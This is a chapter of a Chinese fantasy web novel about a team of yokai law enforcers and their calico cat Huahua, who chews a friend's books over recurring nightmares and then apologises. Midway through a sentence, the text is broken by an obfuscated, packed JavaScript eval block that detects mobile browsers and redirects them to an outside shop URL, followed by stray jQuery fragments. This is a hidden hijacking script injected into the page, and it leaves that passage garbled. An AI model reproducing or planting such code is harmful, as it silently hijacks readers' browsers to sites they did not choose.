细密的雨落下，与沥青路融为一体。
棕色的棉鞋踩过“吱呀”的枯枝，李圆撑着伞，脖子上围着红色的围巾，加快脚步。
直到进入银白色的建筑体内，紧绷的心才放松下来，只是手指还因为僵冷微微发颤。
云听颂按下电梯，很快来到零点。
“救...命啊！！！”
未见其人，先闻其声。
云听颂熟练后退一步，躲在跟妈妈打电话的李圆身后。
清甜高挑的少女一下子便扑到了裹成熊的女孩身上，不断哀嚎着。
“我考了两场考试，整整两场！”
白若离抬头，比划着两个手指哀嚎。
絮絮叨叨说完，自己又站起来，一脸兴奋。
“不过考完就放假啦！就是最近都没什么大案子，全是小案子....”
“你还想犯罪多一些？”柏太木着脸，从最里面走出来，自带威严。
白若离立马转头，露出一个甜美的微笑：“当然...不是啦！我们是个非常有原则的团队！也是一个非常合格的仙考者。”
站在身后静静看着她表演的云听颂挑眉，非常合格他还真没看出来，最多也就刚好及格。
电话在若离扑过来那一刻，她就挂掉了。
李圆踮脚轻拍若离后背安慰着，不过她一般不需要安慰。
柏太撇了一眼那三个粽子，再看了眼身旁的白羽，手里拿着两张打过分的卷子，递过去。
“这次算你们过关了，等你们放假也过来做两套，文化课不能落下，执法者的修养也不能丢掉。”柏太轻咳一声，脸上不再紧绷。
陷入柔软的沙发里，羽绒服在这恒温二十多度的零点显得有些厚重，泛起热意。
手指轻拉羽绒服拉链，李圆给自己留了个缝隙。
考试对她跟云听颂来说不算什么，她挺喜欢写题和考试的。
“柏队，我可以做题，他俩又没错为啥要做啊！”白若离歪头，靠在白羽肩膀上，顺手接过他递过来的茶水。
“没事的，我其实挺喜欢做题的。”李圆连忙摆手，目光落在身后空无一人的大厅，有些奇怪。
怎么今天，大家都不在呢？
像是看出了李圆的疑惑，一旁的白羽默默拉起她的手，点开手环上的通知。
“2020年底将至，新春即将来临，为贯穿自由、平等、共权理念，由三界大会集体推出春假不停、好年不断，支持各司局实现寒冬轮班，集体春假.....”
白羽顺带补充一句：“现在轮到我们放春假。”
柏太吹开一口茶，略带不赞同：“这异管局的通知还是要及时看啊，不能总是只靠案子警报提醒。”
他现在行事作风越来越靠近老年人了，还准备跟段副局一起学着去楼底下晒太阳。
就是滨海天气不行，最近总下雨。
李圆低下了头，她今天一直在上课，下课也埋头做题，没来得及看。
“我记住了，谢谢柏队。”
掌心贴着玻璃杯的温烫，缓和好刚才因为寒冷带来的手抖。
气氛凝固起来，云听颂率先打破，直入正题。
“对了柏队，什么样的情况会出现连续一个多月做同一个梦？”
李圆抬头，视线落在柏队那冰冷的异徽上。
刚刚过来的路上若离在群里发了消息，说是问过云梦老师也就是云听颂妈妈这个问题，对方给出了非常科学的可能说法。
她本科选修过心理，实统测的那种。
第一种可能创伤应激障碍后的闪回症状，是一种防御尝试处理；第二种可能即为解离性障碍，是一种严重的心理防御机制。
两种情况可能导致dl/vmpfc功能异常加上杏仁核长期处于恐惧、不安等情绪中，间接影响了记忆中枢。
单看这情况算是比较严重了，云梦贴心建议白若离如果出现这种情况，一定要及时去看心理医生，不要觉得自己没问题。
如果有其他症状才能更好地判断治疗方案。
记得若离说，云梦阿姨还说自己没拿到Psychol Assoc，所以没法帮她做治疗，不过她可以帮若离联系。
花花，应该跟正常人不太一样吧...
所以大家商量以后决定还是再问问柏队有没有什么不太科学的说法。
柏太诧异地看他一眼：“这你们不该去找心理医生吗？问我干什么？”
似乎是想到什么，柏太语重心长跟他们交代：“不要觉得咱们是异妖就跟普通人不一样，不能讳疾忌医啊，为什么每次案子之后都给你安排心理疏导，这还是很有用的。”
说着，柏太掏出手机就要联系他们的心理医生。
还没等他输入密码，白若离“蹭”一下起身，夺过手机，等反应过来的时候场上四双眼睛齐刷刷落在她身上。
“咳，我在创作一部奇幻小说，想知道有什么妖的可能....”云听颂轻咳一声，帮忙开口。
柏太半信半疑：“哦，那你可以随便设定点什么都行，反正这个情况，得看心理医生。”
......
虽然云听颂不想承认，但目前看来柏太这里是得不到什么答案了，他只能相信他妈给花花的诊断。
回去的路上，云听颂一直很安静。
“那，咱们带花花去做个心理治疗？”白若离说着，突然觉得这个方法也可行，只要她帮花花口述就好了。
这样好像确实可以只是....这种评估非本人转述，真的能准确吗？
没等李圆提出疑问，那边一直没说话的云听颂摘下头上盖着的抱枕，冷冰冰吐出一段话。
“别想了，就算你转述医生也不能开药，更别说治疗。冒充...”少年目光掠过那红光满面的少女，冷笑一声，“你去做治疗，大家应该以为你是来陪同的。”
这个念头暂时被打消了，李圆看着云听颂再次躺下去。
明亮的灯光照在玄关处，三花猫异常乖巧地跑到白若离身后，完全忽视李圆的呼唤。
李圆有些不解。
平时花花都是先来找自己的。
还没等想通，里面的云听颂提着两本书就朝他们走来，书砸在大理石岛台上，正好挡住白羽的视线。
“你在我房间干什么了？”云听颂直直看向花花。
被质问的三花猫往后躲了躲，磨磨蹭蹭回答：“就，就看了会书呗，你们不相信我的话，我就想自己查啊，说到底是你们的问题，不是我的。”
说到最后，小猫语气逐渐坚定，不过还是躲在后面。
“这书看着也没什么....”李圆小心翼翼走过来，看着那突然被白羽翻开的书，卡了壳。
白羽看着中间破了个大洞的书总结：“没办法继续看，完全坏掉。”
气氛逐渐升温，云听颂盯着那只猫三秒，对方眼神躲闪，他冷哼一声，拎着书重新回了房间，没再继续说话。
“花花，这书怎么啦？”
李圆蹲下身来，先询问花花，脱掉大红棉服的白若离则拉着白羽去敲门了。
“笃笃”敲门声响起，不到三秒就被打开。
两颗脑袋望向门缝，白若离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836892|187911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口：“柳树精你不吃饭啦？你要是生气，我帮你揍一揍花花，怎么样？”
白羽点头：“我给你买两本新的。”
云听颂望过去，原本因为云梦还有花花火上浇油更加烦躁的心冷静下来。
一般来说他生气只会生三秒。
在听到花花那明显因为底气不足还有掩饰自卑产生的防御时，他就不生气了。
他更在意花花这么做的动机，想到对方连续做了那么久的噩梦，可以理解。
但他不生气不代表不需要原谅。
这是非常严重的问题。
他一直知道花花是个爱逃避的猫，尤其是遇到问题的时候，不过他没想到自己做错了事，还能倒打一耙的。
看了眼墙上自己专门加固的防护栏，云听颂转头，那两人已经很自然地进来，一左一右坐在自己旁边。
白羽戳戳云听颂：“我给你买四本书。”
白若离也学着戳戳：“嘿嘿，别生气啦，咱们都是好朋友对吧！走啦走啦，出去吃饭。”
说着，坐在地上的少女一把拉起少年，拽着他不得不起身。
云听颂：......
他还是出来吃饭了，是社区上门送菜，一人每月五百块，今天吃的是水煮牛肉。
少年依旧优雅吃着，丝毫不担心抢不到肉。
反正他吃到最后就没吃到过肉，全被白若离和白羽吃了。
三花猫伏在岛台上，偷偷摸摸看云听颂，吃饭吃得心不在焉。
“对不起。”
一声道歉打破安静的环境，除了云听颂，大家都看向三花猫。
“我说，对不起柳...云听颂，我不该因为你不相信我，所以在你书上啃几个洞的！”三花猫鼓足勇气，大声说完。
众人目光又落在云听颂身上。
他慢条斯理地夹起一块莴笋，放在三花猫的碗里：“我原谅你了。”
“梨圆跟我说过了，你们今天帮我去找原因了。”花花转头，叼起那块莴笋吞下又再次开口，“这个梦我完全记不住，而且每次醒过来都很难受。”
李圆咬着筷子，略带迟疑。
今天上午她其实就有怀疑这件事了，下午云梦阿姨说的话也加剧了她的猜测。
“花花，你说这会不会跟你的从前有关系啊？”少女放下筷子，隔着镜片看向小猫，沉默几秒又继续说，“我们都没有梦到，云梦老师也说可能是心理病症，或许是跟你变成猫之前的记忆有关。”
三花猫嘴里的肉掉在岛台上，愣愣看着李圆。
“可，可是这也太突然了，突然就开始做梦，突然就....”
凳子刺啦一声拉开，李圆走过去，手掌轻轻顺着小猫脊梁往下，安抚着她的情绪。
“那花花找到原因，是不是就会变成人啊？”白若离抬头左看右看，最后跟云听颂对视。
云听颂：“有可能。”
“可是我完全不记得梦里有什么，一点记忆都没有，我只感觉好难受。”花花怔怔盯着碗里。
“这个梦应该不是无厘头开始的，或许是有外部刺激在，比如我们一个月前从游乐场回来，它才开始做的梦。”云听颂言简意赅。
“那为什么她之前看见鬼啊都不算刺激，去个游乐场就刺激了？”白若离想不通，现在事情陷入了两难的局面。
白羽突然开口：“共梦。”
“它看不见，我们进去它的梦里看。”白羽补充道。
李圆略带茫然，这个法术听起来，很厉害的样子。
掌心下的脊骨再次凸起，她回神连忙继续抚摸。